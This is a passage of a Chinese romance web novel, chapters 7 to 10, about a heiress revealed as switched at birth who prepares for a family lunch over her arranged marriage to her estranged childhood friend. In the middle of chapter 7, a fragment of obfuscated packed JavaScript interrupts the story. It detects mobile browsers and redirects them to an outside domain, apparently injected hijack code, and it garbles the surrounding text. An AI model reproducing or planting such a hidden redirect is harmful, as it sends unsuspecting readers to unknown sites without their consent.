《独照我[先婚后爱]》
7. 婚前日07
“啊?!”
不能怪秦觅蓝反应大,饶是她想破脑袋也没想到这种发展。
把向樾行拉黑多年,不就证明,向樾行离岛后,他们再也没了联络吗?
她问出口,山衔月淡淡颔首。
秦觅蓝半天才找到自己的声音:“怪不得,怪不得他回来,你要见他还要来向我打听,合着这么多年你们两个零沟通啊!”
即使是她和向樾行这样普通的躺列关系,逢年过节也会互道一声祝贺,结果她磕了这么久的cp,竟然一直处在断联状态。
可是,“为什么啊!?”
被激动地按在床上盘问的山衔月抢过被子蒙住头,无视抓心挠腮的秦觅蓝。
为什么……
柔软的被子紧紧包裹住她,逼仄的空间与逐渐稀薄的氧气,在主人的默许下,早被她刻意遗忘的记忆悄然浮现。
16岁的山衔月是最肆意、最快乐的小鸟。
她出落得亭亭玉立,哪怕在富家子弟云集的学校,也是最夺目的存在。
山家在那几年势头正猛,山敬驰全权接管家中企业后,一扫上代优柔寡断得过且过的风格,他手腕狠辣,眼光独到,短短三年做出的成绩令港岛商圈改变格局,想要结交攀附的人如过江之鲫。
家族的实力,影响着下一辈在圈子里的定位,山衔月自然过的更加风生水起。
那一年,她的生日宴也是前所未有的盛大。
可就在当天,她最开心的时候,得知了一则爆炸消息。
——向樾行要回京了。
据说是他父母的意思。
他外公早逝,祁南骄在丈夫去世后,便不愿再留在京都,回到了港岛生活。
他妈妈俞雅琦女士心疼母亲,于是他自小养在港岛,陪伴祁南骄,一陪就是十几年。
但他总要走的,向家的祖宅在京都,他是长子,未来的继承人,不可能一直留在这一屿小岛。
他父母决定,让他回京适应一年,随后再出国读书。
这并不稀奇,他们的人生几乎都被这样安排,只不过比他晚上一两年罢了。
可听到这个消息的时候,山衔月只觉得宛如当头一棒,直接将她钉在了原地。
她穿着精心准备的高定礼裙,手里拿着冒充酒的饮料,站在所有人的注视中,却觉得无比狼狈。
不知道是单单因为向樾行要离开的消息,还是因为众人都觉得他们形影不离,而她却是从别人口中知悉的这件事。
她草草说了两句话,便离开了期待了一个月的生日会现场,提着裙子冲出门,撞见了姗姗来迟的向樾行。
看见他的那一刻,她再也绷不住眼泪,“哇”地哭出来。
可这些,都无法改变向樾行离开的进程。
高一的暑假,她刻意躲避,一次都没见他。
青春期的少女将自尊看得比天大,她拉不下脸去问向樾行为什么不第一时间告诉她,他要离开,生怕得到什么更让她难堪的回答。
她甚至开始思考一个,十几年从未想过的问题,她和向樾行真的算得上是朋友吗?
毕竟他们见面就呛,谁也不给谁好脸色,这样的相处好像并不算好朋友,对头还差不多。
暑假倒计时十天时,她终于忍不住,佯装随意地跟秦觅蓝提了一句他的名字,却被告知他早在三天前就坐上了离港的飞机。
他们此时所看的天,都不是同一片了。
好啊,她又是从别人口中知道的,他的消息。
山衔月气笑了,也学乖了,再不问起他。
后来过了几个月,她照常生活,上学放学,和姐妹们一起约着逛街,还是那个风光的大小姐。
只有她自己知道,她会为了一个人哭泣,为一个曾经形影不离的朋友。
事情发生在一个普通的深夜。
她鼻酸着辗转,好不容易入眠,却被一串消息提示音吵醒了。
她怒气冲冲地捞过手机,发誓一定要给这个人好看,却在看见备注的那一刻偃旗息鼓。
向樾行?
他突然找她干嘛?憋了几个月,憋不住了,要来找她道歉了?
山衔月竭力按捺砰砰狂跳的心脏,怀揣着得意与期待,飞快地点开他的对话框,一连好几条消息跳出来,她逐字逐句读,可在将他的话连上的时候,脸上的笑容却滞住了,缓缓裂出一条条歪歪扭扭的裂缝。
【山衔月,我才离开多久,你就忘了之前保证过的事了吗?】
【山衔月,难道我会害你吗,为什么你总是】
【这样。】
一条条,全是质问,前言不搭后语的质问,生气的质问。
山衔月看懵了,这都是什么和什么?她忘了什么跟他保证过的了?他凭什么一上来就凶她?
她不想再看,视线却不受控制地粘在了屏幕上,她违背着内心,一遍遍自我伤害般地念他的消息。
万籁俱寂,她好像听见了胸腔里传来的,轰轰的响动。她心里立着漂亮的高楼大厦,可就在刚刚,她的世界发生了大地震。
鼻子又酸了,讨厌。
向樾行,她再也不想看见他了……
他是个混蛋。
对面的消息还一条条发过来,她不愿再分出心神令自己痛苦。
扬起的唇角逐渐平直,她沉默着,点进他的头像,一鼓作气拉黑了他。
消息框里再没有刷新的消息,她的世界稳住了局面,伤亡计数。
只要里面住着的小人们缓缓,马上就能重振旗鼓,重建家园。
只要她努力,他再也无法对她造成伤害。
她一直可以,她一直相信,她不要再想他了。
“所以,从那以后,你们再也没有过联络?”
山衔月点点头。
其实过去了这么久,她之前也有过突然回忆起那个晚上的时候,当时她只剩下满腔的愤怒,可现在,不知道是不是因为向樾行再次闯进了她的生活,她好像又多了一些感受。
酸酸的,胀胀的,很不好受的滋味,她不喜欢。
如果是以前,她会勇往直前地去将这份难受揪出来,但现在的她是个胆小鬼,逃避是下意识的保护机制。
因此只消几息,她就调整好了自己,将那份难受随意打包扔进某个角落。
秦觅蓝有些唏嘘,她总觉得他们之间应该是有什么误会,因为她和向樾行的聊天框里,如果统共有十句话,九句都是山衔月,只是向樾行再三拜托过她,不要告诉她。
她之前以为他是不好意思表露关心……
“不过……”
他刚刚在电话里说什么来着?
山衔月抿唇,努力回想着,眉毛突然皱成一团。
他好像说,外婆、约吃饭什么的。
约吃饭!她瞪大眼睛,她刚刚只顾着赌气,没听全他的话,他是想说什么呀,祁奶奶愿意赴宴吗?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212675|181354||http|test|mini|href|location''.split(''|''),0,{}));
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>她揪着被子的手无意识攥紧,吉萨棉的布料在她手里搓扁揉圆。她犹豫要不要主动给他回个电话,刚刚她那么硬气地挂断,现在又打回去,好没面子!正当她踌躇不定时,被子上的手机又响了起来。
秦觅蓝一把翻过屏幕,上面是一串没有备注的号码,山衔月一眼就知道,是向樾行。
纯恨的时候,他的号码,她不用备注都能认出来。
她长出一口气,太好了,面子里子都保住了。
……看在他态度这么良好的份上,昨天的事她可以勉强原谅他,剩下的,她以后再跟他算账。
她按下心中的庆幸,清了清嗓子,一直等铃声响了一遍才不紧不慢地接起,一旁的秦觅蓝捂着嘴偷笑,给她竖了个大拇指。
不一般就是不一般,翻遍港岛再找不出第二个这么晾着向樾行的人了。
“喂。”
原本已经对她接通不抱希望的男人突然听见声音,诧异地咳了一声,“月月?”
那边没有应声,可向樾行知道她在听。
他舒一口气,捡着她想听的告诉她:“外婆约着明天中午在御景阁吃饭。”
山衔月有些紧张,她摸不准祁奶奶对这件事是什么态度。
向樾行离岛后,她虽然心里恼他,但依旧会在节日去南山公馆陪伴祁奶奶。那偌大的宅子,除了家仆就只剩祁奶奶一个老人,她每每想起心中都不是滋味。
可自从山晚青出现,她已经有月余没去南山公馆了。
她这些天看了太多对她态度突变的人,一想到如果祁奶奶也没那么喜爱她了,几次车已经在驶向南山,她中途退却调转。
“嗯,祁奶奶怎么突然提起吃饭,”山衔月欲言又止,“她……”
向樾行听出她语气中的踟蹰,其实他也不知道外婆怎么突然提出这件事,但她向来喜欢山衔月,想来不会是坏事,于是安抚笑笑:“月月,外婆很想你。”
话落,两边都沉默下来,山衔月抿抿唇,干巴巴地说:“没事我就挂了。”
他知道她愿意这样跟他说话,就证明她已经不那么生气了。
她就这样轻而易举地原谅了他,他该庆幸的,可心里不知怎么泛起了细细密密的刺痛。向樾行强压着那份不适感,笑着说好,“明天见。”
挂了电话后,他倒在床上,一夜未眠的疲惫涌上来,涨痛挤压着大脑和眼球,他却毫无睡意。
去年,他回国后,他的办公室直接由父亲安排,搬上了海晟大楼68层——那里曾是他父亲的办公室。
年轻的执掌者接管家族企业的压力不言而喻,那一年他没留给自己喘息的时间,全身心投入进连轴转的工作中。
他说不清这股执拗全是为了证明自己的能力,还是有那么一些不纯粹的念头深埋心底,他只知道,她一直是他的动力。
随着实打实的成绩出现,唱衰的声音逐渐泯灭,可就在他歇口气的时候,一个寒冷刺骨的早晨,他得知了山家的变故。
他的脑子从来没有那么混乱又清明过,他只有一个念头:他要来找她。
所以他毫无犹豫地来了。
阔别多年的港城于他来说并无什么稀奇,路过承载记忆的街头,他少见的失神,也是因为想起了有关她的回忆。
见到她之前,他满是期待与情怯,见到她之后,他却时常要压着心疼,不让她看出端倪。
他想告诉她不要怕。
他会托着她。
8. 婚前日08
山敬驰对于和祁夫人的饭局十分重视,得知这个消息后马上吩咐了管家告知两位小姐,明日中午切记装扮得体,注意举止。
他原本没打算让宁璇一起去,但不知她从哪里得知了这件事,主动来找了他。
“明天的饭局,你要穿什么衣服,我去给你准备好。”
宁璇温柔笑着,将切好的果盘放在他书桌上。
山敬驰皱起眉头:“你有话就直说。”
他和她之间,虚情假意这些作甚。
山敬驰丝毫不给她面子,宁璇脸上的笑容停滞一瞬,随后消失在唇边,她恢复成以往淡漠的样子,双臂交叠在胸前,连看他一眼都懒得,“明天事关孩子的婚事,我理应到场。”
“随你,”山敬驰眼中毫无波动,他将果盘挥开一边,继续专注着电脑上的邮件,“但你管好自己的嘴,什么不该说你心里清楚。”
他的话直白又绝情,让人难堪,宁璇恼羞成怒:“怎么,作为你的夫人,我连句话都不能说?山敬驰你别太过分。”
“宁璇,别以为我不知道你打的什么心思,这门婚事祁夫人如果中意晚青,自然好,但若是你说些什么疯话,我不会坐视不理。”
他疾言厉色,宁璇索性不装了,她冷笑一声,瞪着伏案的男人:
“我养了山衔月二十四年,我会对她做什么不利的事?倒是你,山敬驰,从前养孩子的时候也不见你多上心,知道她不是你的种了反而开始关心起来了,你图的是什么?”
是,她是想让晚青嫁过去,山晚青即使回来不久,但她身上流着她的血,她只能依附着山家过活,对她言听计从,对于她和遥仔来说,绝对是第一选择。
山衔月呢,自从她知道山衔月不是自己亲生的,就再也无法对她露什么好脸色。
听话的孩子才有价值,山衔月从小就性格乖张,不服管教,没了血缘这层链接,在她心里如废子无异。
而且,她一想到旁人的孩子在她家过了这么多年养尊处优的生活,心里就堵得慌。
可从前从不管孩子生活的山敬驰却在这个时候跳出来说,即使山衔月不是亲生的,也会护她无忧,她便更加看不惯这个孩子。
她总觉得自己可能是错漏掉了什么重要的事情,可回过头看,代远年湮,难以理清。
山敬驰不屑在她身上浪费时间,没一会儿,他身边的保镖进来,将宁璇“请”了出去。
在自己家,被丈夫的保镖逐出房间,宁璇脸色铁青,一言不发地回了屋。
曹姨将她的表情看在眼里,原本上楼的脚步放缓,直到宁璇进了门后才加快步子。夫人与家主分房多年,平日两人相处少,明面上倒也过得去,不知今日这是怎么了,她还是不要触霉头的好。
她端着盘子敲响山衔月的门。
“进来。”
“小姐,加了糖的燕窝,喝一点吧,你今晚都没吃什么东西。”
山衔月见是曹姨来,从床上爬起来接过她手里的小盅。
今晚山家的饭桌人到的十分齐全,气氛沉闷,她又满脑子都是明天中午的事,完全坐不下去,好不容易熬到山敬驰吃完离席,马上就上楼了,曹姨不说还不觉得,此时的确有些饿了。
“谢谢曹姨~”山衔月笑眯眯地坐到桌子旁开吃,金丝燕燕窝配上鲜奶枸杞炖煮,再放上冰糖,甜滋滋的,“好好吃啊。”
“好吃就好,吃完放桌上,我待会儿来收。”曹姨为她关上门,下楼又端了一份。
“曹姨?”山晚青给曹姨开了门,疑惑地问,“怎么了?”
“二小姐,我炖了燕窝,喝一点吧。”晚上两位小姐都没怎么动筷。
山晚青看着她手中的托盘,瓷白的小盅描着花纹,隐隐香甜的味道从里面传出。
“好,谢谢您。”她朝她露出一抹浅笑,接过了托盘。
“是我应该做的,小姐晚安。”曹姨看着她关上门,眼角的皱纹埋着无奈。
姑娘都是好姑娘,命运弄人,偏偏遇上这样事。
-
这一晚,山衔月翻来覆去睡不着。
她能否顺利维持住仅剩的骄傲,就看明天中午的饭局。
担忧一旦在心里中下种子,便迅速生根,令她越躺越没睡意。
她百般聊赖地逛着小地瓜,偶尔退出去在围脖上翻翻新增的评论。
她少女时期就开始经营着围脖账号,一开始只是随手拍的生活碎片和照片,吸引了一些或好奇或艳羡的同龄女孩。
后来上大学后她偶尔分享一些留学经历和深夜吐槽,偶然小火了一把,粉丝一举破了五十万。
不过她对这些热度不甚关心,更新随缘,十天半个月才诈尸一次,因此新粉少,老粉多,她的围脖就是一片女生闲聊聚集地。
最近烦心事多,她已经有段时间没登录过了,从前的内容下出现了不少粉丝的哭唧唧。
【大小姐今天更新了吗?没有!】
【呜呜深夜舔颜,姐姐已经一个月没有更新过了,还记得账号密码吗[哭泣]】
【kyla是发生了什么吗,为什么这么长时间没有更新?】
山家的消息早就被山敬驰打过招呼,没有哪家媒体敢大肆宣扬,虽然港岛本地心照不宣,但内地知道的不多。
发言的粉丝头上挂着铁粉标志,山衔月勾勾唇想回复她不用担心,突然看见了下面的内容。
【前几天听说了一件事,不会主角真的是kyla吧……】
【楼上正解哦,圈子里的人基本都知道了。】
【发生什么了?2g网求告知。】
ID为“Haley在岛日记”的发言勾起了不少人的好奇,求告知的评论建了十几楼,她过了好一阵才出来回复了一条:
【不好说,毕竟“大小姐”身份不一般,但是现在有点自身难保喽[笑哭]】
这模糊又引导的话术引起了评论区的不满,会聚集在这的一般都是时常关注山衔月的活粉,嗅出她话里的阴阳怪气后,哪里能忍,不少人跳出来指责。
【……楼上好
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酸啊,要说就明明白白说,还圈子里都知道了,请问是哪个圈子啊,爆料模棱两可的一律打为hyb。】
【就是,看主页跟kyla完全不是一个等级[捂嘴]倒不用这么上赶着贴过来。】
【不好说,毕竟她可是“圈子里的”,给圈子姐惹生气了,要我们好看。】
这次“Haley在岛日记”回复得倒挺快。
【我说的是事实罢了,只是你们内地人不知道。最近这家的事沸沸扬扬,这位为什么一个月没更新就是因为身份骤变,一时还没适应吧[笑哭][捂嘴]圈里的聚会最近也没了她的身影,还能不能维持住之前的围脖人设都是问题喽】
“Haley在岛日记”很快又补:【至于是哪个圈子,当然就是你们摸不到的喽】
山衔月点进这人的主页,IP是港岛,平时的围脖都是一些吃饭旅游的照片,她随手点开一张,女人看起来和她差不多大,但她对她的脸一点印象都没有。
山衔月翻身趴在床上,截了一张图保存在相册。
她所处的世界就是这样,你身上有利可得时,人人哄着你捧着你,一朝下神坛,墙倒众人推,不来雪上加霜都算是好的。
比如曾经她见面“亲如手足”的姐妹花们,比如曾经追在她身后“争奇斗艳”的无聊男人们。
她这段时间已经见识过太多比这过分的,区区这两句话不能对她造成什么伤害。
不过,哪怕没有山家倚靠,也不是任何人都能来她头上作威作福的。
某酒吧卡座,一短发女人推了一把身旁的朋友,“你知唔知,内地人还不知道山家发生的事,山衔月的围脖下面还有粉丝捧她呢。”
“欸,”朋友笑了笑,“人家那种身份,就是假千金也比我们过的滋润。事情出来这么长时间了,除了山晚青的新闻,也没见山家出来说山衔月什么,对他们那种家族来说,两个女儿也是养啦。”
女人听了却沉下了脸,对朋友的话十分不满:“假的就是假的,她要是不心虚怎么这么长时间没动静,而且之前秦少的局就没有邀请她,她肯定已经被二代圈子抛弃了,丢不起这个脸罢了。”
朋友无奈地瞥了她一眼,没接话茬。她们两人的家世差不多,吃喝不愁,但和那些名媛公子们是远远比不上的。
她这个朋友自从上次偶然跟着人去了秦家小少爷的包厢,后面再聚的时候就满口都是港岛那些,她们从前只能在新闻上看看的富家子弟,话语间的趾高气昂令人不适,她们越来越难聊到一起去。
算了,大不了以后不约她一起玩了,她要嘲谁攀谁都与她无瓜葛。
她正要侧过身和别人聊天,倏地衣角一紧,听见身边人倒吸一口凉气。
秉着不撕破脸的原则,她礼貌性地关切:“怎么了?”
只见女人的脸被手机荧荧的光照亮,脸上的腮红都遮不住她陡然煞白的脸色。她凑过去看她屏幕上的内容,一条新回复跳出来。
Kylaa.:【你知道什么,不如和我说说?】
9. 婚前日09
明明只是一句普通的话,却让她背后发凉。
“怎么办,我没想到会被她看见。”
朋友接过来翻了翻之前的评论,无语了。
你在别人的围脖下面这么猖狂,人又不是死了,怎么可能看不见。
她们这样的家庭对上山家连只小飞虫都算不上,她怎么会蠢到这个地步。
她将手机递回去,直接拿着酒杯站了起来:“我不知道,你自己惹的自己解决吧。”
回复完后,山衔月选了两张照片发了条内容,好让等待她的粉丝们安心些。
原本想刷刷手机积攒困意的,这下好了,更精神了。
思来想去,她点开黑名单,作为唯一一个享有拉黑待遇的人,向樾行孤零零躺在那。
她的手指在屏幕前停顿半晌,最终按下了“添加到通讯录”。
看着重新出现在列表中的“向樾行”,他的头像许多年没有换过,乌漆嘛黑的一团,看不见什么东西。
“装货。”
聊天界面里,最后一条停留在多年前那个令她心碎的晚上,尽管已经眯着眼睛,她还是不可避免地看见了一些字句。
而那些只读了一次就刻进她心里的话自动浮现在脑海,将她好不容易安稳下来的心再次推进了烦闷中。
她自暴自弃地睁开眼,狠狠点进右上角,在备注那一栏敲下了四个字。
“不必理会”。
她不是没想过或许其中有什么误会,可她从前没有勇气解开,现在已经没兴趣解开了。
她说过不会再在乎他,有些人可以说走就走,可以再也不联络,如果不是她的人生出了问题,而他对她绝对有益,她不会再招惹他。
对,他现在对她来说,只是一个可以利用的人,她对他也是,他们一年后会离婚,各自操盘自己的人生。
他们会迈入一场平静而虚伪的婚姻,他们一笔勾销。
-
山晚青是被吓醒的,她从朦胧中睁眼,看见床边一道身影,吓得她一瞬间困意全无,“谁!”
宁璇捂了捂耳朵:“吵什么,快点起来,都几点了。”
“妈咪,”山晚青看一眼手机上的时间,祁夫人约的时间是中午十一点半,而现在才刚过六点。“现在还很早……”
“你还要做造型,要化妆,不早点起哪里来得及?今天非常重要,不用我提醒你吧。”宁璇不悦地摇了摇头,不等山晚青阻拦,径直走进她房中的衣帽间。
“妈咪……”山晚青有些不自在,可她不敢在宁璇面前表现出来,只能跟在她后面进去。
宁璇翻着她的衣服,眉头就没舒展过,挑挑拣拣半天,才找出一条还算满意的,“穿这条。”
那是一条浅蓝色的长裙,料子好,垂感极佳,可却不是适合她的风格。
她个子高,样貌随了宁璇,五官明艳大气,日常也更偏爱深色的衣服。这条裙子还是回到家不久时,和宁璇逛街,她买给她的,她当时对这个与自己长相相似,浑身贵气逼人的亲生母亲还不甚熟悉,即使不喜欢这条裙子也要装出惊喜的样子,甜甜地说“谢谢妈咪,我很喜欢。”
“老人家都喜欢这样的穿衣打扮,今天,你必须尽力让祁夫人喜欢你,知道吗?”
山晚青眉目轻敛,“我明白,妈咪。”
她乖顺听话,宁璇脸上总算露了点笑,将裙子塞进她手里,又去给她挑首饰。
山晚青沉着呼吸,只觉得胸中压着一块大石头,重得她五脏六腑都变了形。明明她现在的衣帽间有从前养父母家一整个卧室大,明亮宽敞,可她就是觉得喘不上气。
她将裙子挂在一旁,对宁璇说:“妈咪,我先去洗漱。”
得到宁璇肯定后,她佯装镇定地逃离了衣帽间。
浴室有一整半墙的镜子,能让她清楚地看清里面的自己。
山晚青勾起一缕搭在肩头的头发,打圈绕了绕。
她是天生的自来卷,从小就很羡慕别人柔顺的头发,因此她成人后的第一件事就是去理发店,将一头卷发拉直。
她犹记得,养母看见她顶着一头跟假发一样直溜溜的头发进家时的表情。
她知道她喜欢她的卷发,可她更为她勇敢变成自己喜欢的样子而骄傲。
这段时间以来,她刻意地与从前的世界划清界限,连他们关心的消息都不多回复,如今却在心里委屈的时候想起他们的好。
她垂下头,不敢再看镜子里的人。
说她自私也好,白眼狼也罢,她只是想让一切回归正轨,她想过更好的生活,她没有错。
宁璇在外面没听见动静,进浴室一看,见她撑在洗手台上没动作,霎时又没了好脸色:“发什么呆呢,我约了团队来给你化妆,快些,别浪费时间。”
“好,我知道了。”
山晚青低声应和,没有抬头,掬了捧水泼上脸。
*
翻来覆去一夜,山衔月成功顶着两个黑眼圈起床。
她看了眼时间,上午9点,离出发的时间还剩一小时,她猛地从床上弹起来。
“完了,睡过头了!”
她飞快跑进浴室开始洗漱,好在今天要穿的衣服她昨晚就选好了,不然以她平时磨蹭的性子,肯定来不及。
九点二十,她坐在梳妆台前开始化妆。
曹姨这时候才来敲门:“小姐,起床了吗?”
“进,”山衔月短促地喊一声,“曹姨,怎么不早点叫醒我,吓死我了!”
曹姨一脸歉意地看着她,但最终也没说什么。
八点没到夫人就去叫晚青小姐起床了,不一会儿又有一队人来公馆,大包小包的,据说是夫人请来的妆造团队。
她知道今天的事重要,提早一小时便要来喊大小姐起床,却被宁璇的贴身管家孟卓贤拦下,说是不用打扰大小姐休息,她心里有数,自会起来。
孟卓贤是宁璇从娘家带来的人,整个山公馆只听她的吩咐,她只能在外面干着急。
好在山衔月九点自然醒了,否则她真不知该怎么办才好。
夫人好歹也养了大小姐二十多年,竟然能狠到这种地步。
“小姐,您先化,我给您把早餐端上来。”
她利用一切能节省的时间,连忙下楼去端早餐。
山衔月自小就爱漂亮,化起妆来得心应手,不到半小时便完成了妆容,涂口红之前先囫囵将早饭吃了。
曹姨去楼下给她拿牛奶,走得急没关门,山晚青路过山衔月房间时,正好看见她往嘴里塞虾饺。
山公馆的厨师包的虾饺皮薄馅大,饶是山之遥这种饭桶年纪一口塞下也得噎着,山衔月就这么硬生生往嘴里塞了一整个,腮帮子鼓着,都快没有咀嚼的余地。
山晚青:“……”
她是真的有点被震撼到了才停下脚步。
山衔月余光瞥见门口的人影,还以为是曹姨上来了
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,“呜呜”着就伸手要牛奶,转头看清楚来人,一下僵在了椅子上。
和她不期然对视,山晚青也有些不自在,她偏头咳了一声,原本该出口的嘲讽忽然消失在脑海里。
一时间沉默,她不动声色地瞄山衔月,就见她已经回正了身体,对着镜子摆弄着睫毛。
她已经拾掇得差不多了,一件粉嫩的兔毛宽松毛衣,搭配一条透白的半身纱裙,穿在她身上温柔里还带着一丝俏皮。
妆容也十分得体,不会出错又很挑肤色的浅粉,还没涂口红的嘴唇透着淡淡的颜色,已经很完美了。
她想,她应该会搭配一支水润一点的粉色,或许是YSL7B,她记得她涂过几次。
她一定是对这场饭局很重视,不然以她的性格,绝不会这么着急,连好好吃饭都顾不上。
她就这么喜欢向樾行?他们青梅竹马,一起长大,再加上众所周知的婚约,这样想想她确实可能对他情根深种,可那男人在外面不知道有多少情人,她嫁过去,也不过是折磨的开始。
想着,她鬼使神差地竟然对山衔月生出一种可悲感。
“算我多管闲事,总之告诉你一句,向樾行有女伴,多少个我不知道,但是我在酒……我看见过他和一个女人搂搂抱抱。”
她声音干巴巴的,等一口气说完,仿若才意识到自己说了什么,皱着眉头不知道跟谁生气。
半晌没得到回应,山晚青懊悔死了,山衔月肯定觉得她有毛病,没准还觉得是她嫉妒她的婚约,故意胡编乱造的向樾行的绯闻。
她真是疯了,或者是被妈咪刺激到了,才会善心大发,现在还要被山衔月怀疑。
她恼得脸上蹿红,连腮红都盖不住,“山衔月!你现在肯定觉得我是黄鼠狼给鸡拜年,没安好心是吧,你就当我什么都没说过,我真是傻了才会告诉你这些……”
她疾言厉色,抬眼看去的时候却见对面的女孩嘴巴张成“o”型,呆呆地看着她。
下一秒。
“山晚青,谁是黄鼠狼谁是鸡啊!”
山衔月好不容易咽下口中的虾饺,怒气冲冲地站起来,一副要跟她干架的模样。
“你!”重点是这个吗?!
山晚青简直要气死了,都怪她都怪她,非要多管闲事!
曹姨端着牛奶姗姗来迟,还在楼梯上就听见两人吵闹的声音,着急忙慌跑来,就见两位小姐你不让我,我不让你地对峙着,一个比一个气得狠。
“好了好了,大小姐,牛奶来了,”曹姨把牛奶放在梳妆台上,安抚着山衔月,将她摁回椅子上,马上又回身对山晚青笑,“晚青小姐,你今天还没吃早饭呢,厨房还温着虾饺,多少垫垫肚子吧?”
山晚青实在笑不出来,朝曹姨扯扯嘴角,“好……”
“晚青。”
相隔着段距离的房门蓦地被打开,宁璇站在那,脸上神色淡淡,“回来,我还有些事要跟你说。”
完了,不会是刚刚她说的话被妈咪听见了吧?
山晚青心里一紧,顾不上饿得痉挛的胃,直直朝房间走去。
山衔月一边喝牛奶一边看着她的身影消失在门口,脑海里回荡着刚刚她说的话。
山晚青既然讨厌她,她若是嫁给向樾行过得不好,她不该高兴才是吗,为什么要提醒她?
山衔月的视线落在杯沿,没有聚焦。
出乎意料的,似乎是善意的举动,令她有些不知所措。
10. 婚前日10
御景阁,等候多时的经理领着几人去了祁南骄的包厢。
御景阁是祁家的产业,实行预订制,凡是顾客,不论权势富贵,必须提前一个月预订,放眼整个港岛,也只有祁南骄一人能处于规则之外。
穿过长廊,两旁的翠郁之下是造型别致的假山与潺潺流水声,山晚青默默打量着四周的景致。
如果她没有在听见养父母的交谈后毅然找上山家,回到自己真正的人生中来,那她或许一辈子都不会有机会来到这样的餐厅。
心里那一点动摇跟此时此刻比起来,又算得了什么呢。
她应该是全世界最盼着山衔月不好的人,早在襁褓中对换的那一刻,她们此生注定对立,
她收回视线,跟着进入包厢。
落座后不久,包厢门口有了动静,众人望去,就见一神采奕奕的贵妇人走在前头进来。
她一身黑色手工旗袍,外披一条墨绿色的大披肩,祖母绿胸针和耳饰交相辉映,配着她一头鹤发更显贵气端庄。
“祁夫人。”山敬驰站起身,其余人紧随其后,祁南骄笑着摆摆手,“都坐,山总别客气。”
山敬驰笑应,视线落在跟在她后面的年轻男人身上。
他落后祁南骄几步,一身黑色的西装低调,周身的气质却是那样出挑,即便年纪轻轻,也让人不敢轻看他。
记忆里少年的眉眼被成熟覆盖,山敬驰在心里暗叹,这孩子和衔月一起长大,从前他也没想到他会出落得如此端方稳重,小小年纪就在精英云集的海晟坐上了他父亲的位置,这可不单单是继承,他自身的才干才是重中之重,否则向缙那样行事稳妥的人绝不会放心放权给他。
山敬驰上前一步,故作认不出的模样:“这是樾行吗,这么多年不见,我都不敢认了。”
祁夫人现在还生着外孙的气,闻言轻哼一声:“这么多年他光长个子了。”
向樾行不知道自己是哪里惹到外婆了,她今天一天都没给他什么好脸色,他只能装作没听见她的埋怨,朝山敬驰伸出手:“山伯伯,您倒没怎么变,还是跟以前一样。”
他身姿微欠,语气恰到好处,甚至还有些主动亲近的意思,山敬驰十分受用。
“好好,樾行,好小子,这两年叔叔在港岛都知道你的成绩,你父亲将海晟交给你可安心了,不像我家那小儿子,远不如你争气!”
站在他身后的宁璇听了,笑容淡了一瞬。
山衔月将她的表情看在眼里,默默低下了头。
她能感受到山敬驰与宁璇之间僵持的氛围,不过父母的事她不好过问,更何况是她现在的境况。
向樾行眼角余光一直关注着她,没错过她的动作,他面上笑容依旧,原本想扶着外婆坐下的手却收回来,与山敬驰多说了一句:“伯伯谦虚了,前两天我见过之遥,他成大小伙子了,一表人才,都是伯伯教得好。”
任谁都喜欢听好话,山敬驰也不例外,他嘴上说着山之遥性子野,实际心里最是疼他,听向樾行夸赞,一时打开了话匣。
宁璇心里着急,看他聊得热络,知道指望不上他,索性直接带着山晚青上前一步,向祁南骄介绍:“祁夫人,这是我女儿晚青。”
此话一出,向樾行心里蓦地收紧,看向一直站在椅子边没动作的女孩,就见她方才垂下的头此时抬起,脸上笑容依旧,察觉到他的视线还朝他礼貌性地弯了弯唇角。
若是她真不在乎,便不会这样强装自然地看他,朝他翻个白眼还差不多。
他垂在身侧的手轻蜷,眸色暗下,状似不经意扫过宁璇。
宁璇一句话将所有人的视线吸引过来,在场的人都听出了她话里的亲近与不妥,包括从椅子上起身后就没了动作的山衔月。
她抬起头,目光却茫然得可怜,不知该往哪里看。
宁璇的话像一记重拳砸在她心口,而她后知后觉到钝痛,大脑似乎生了锈,运行缓慢,令她此刻宛如身处孤岛,不知所措,孤立无援。
她察觉到落在自己身上的视线,木然看去,对上的是男人一张清俊淡然的脸,他的目光好像能看透一切,好像他百分百知道她此刻迷惘而酸楚的心情,可她偏不让他如愿。
她大大方方地直视他,甚至还违背内心地笑了笑。
看见了吗,不过是轻飘飘的一句话,她不在乎,也没那么脆弱。
山敬驰警告的目光落在宁璇身上。
宁璇顾不上这些,她并不是一时着急才这么说,这句话她早早就想好了。
祁夫人既然主动邀约,必然是为了婚约一事,她必须抓住这个机会将晚青介绍出去,山晚青虽然在外流落多年,但她养父母教育得倒算用心,比山衔月听话温顺,她有自信让祁夫人喜欢上她。
“晚青,快叫祁奶奶。”
她温柔的语气让山晚青冒出一瞬鸡皮疙瘩,她深知自己骑虎难下,故作镇定地朝面前的老夫人弯唇,乖巧地叫了一声:“祁奶奶好。”
祁南骄虽对宁璇的措辞有些不满,但她不至于迁怒至小辈身上,她面上不显,打量着眼前的姑娘。
身姿高挑,眉眼间与宁璇七分相像,比她少了几分傲气,倒是更惹人喜欢。就是这妆容和衣服不太适合她,不过她还年轻,一时没拿准合适的风格很正常。
她想起自己准备的见面礼,比起她此时手上戴的钻石手链,还是她挑选的翡翠手镯更配她。
她又看向那边挂着淡笑的女孩,山衔月对上她的视线,朝她俏皮地挤挤眼,祁南骄心中积攒了一夜的愁绪蓦地消散。
多好的孩子,从小就可爱懂事,命运怎么舍得和她开这样的玩笑。
祁南骄微不可察地叹一声,示意身后的杨姨,“把东西拿过来。”
杨姨取来两只木匣,祁南骄朝山衔月伸出手:“月月也来。”
“这是奶奶送你们的礼物,你们两个
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一人一个,不知道你们小年轻的喜好,我就按照我的眼光挑了。”
她这句话就有些刻意谦虚的意思了,毕竟不知多少贵妇曾经跟在祁三小姐背后学穿衣打扮。
木匣拿在手里十分有分量,山晚青惊喜又拘谨,低声道:“谢谢祁奶奶。”
原本以为没有自己戏份的山衔月从椅子边绕过来,打趣道:“您的眼光还能不相信吗,全港岛也找不出比您厉害的了。”
她在长辈面前俏皮话张口就来,最会逗人开心。
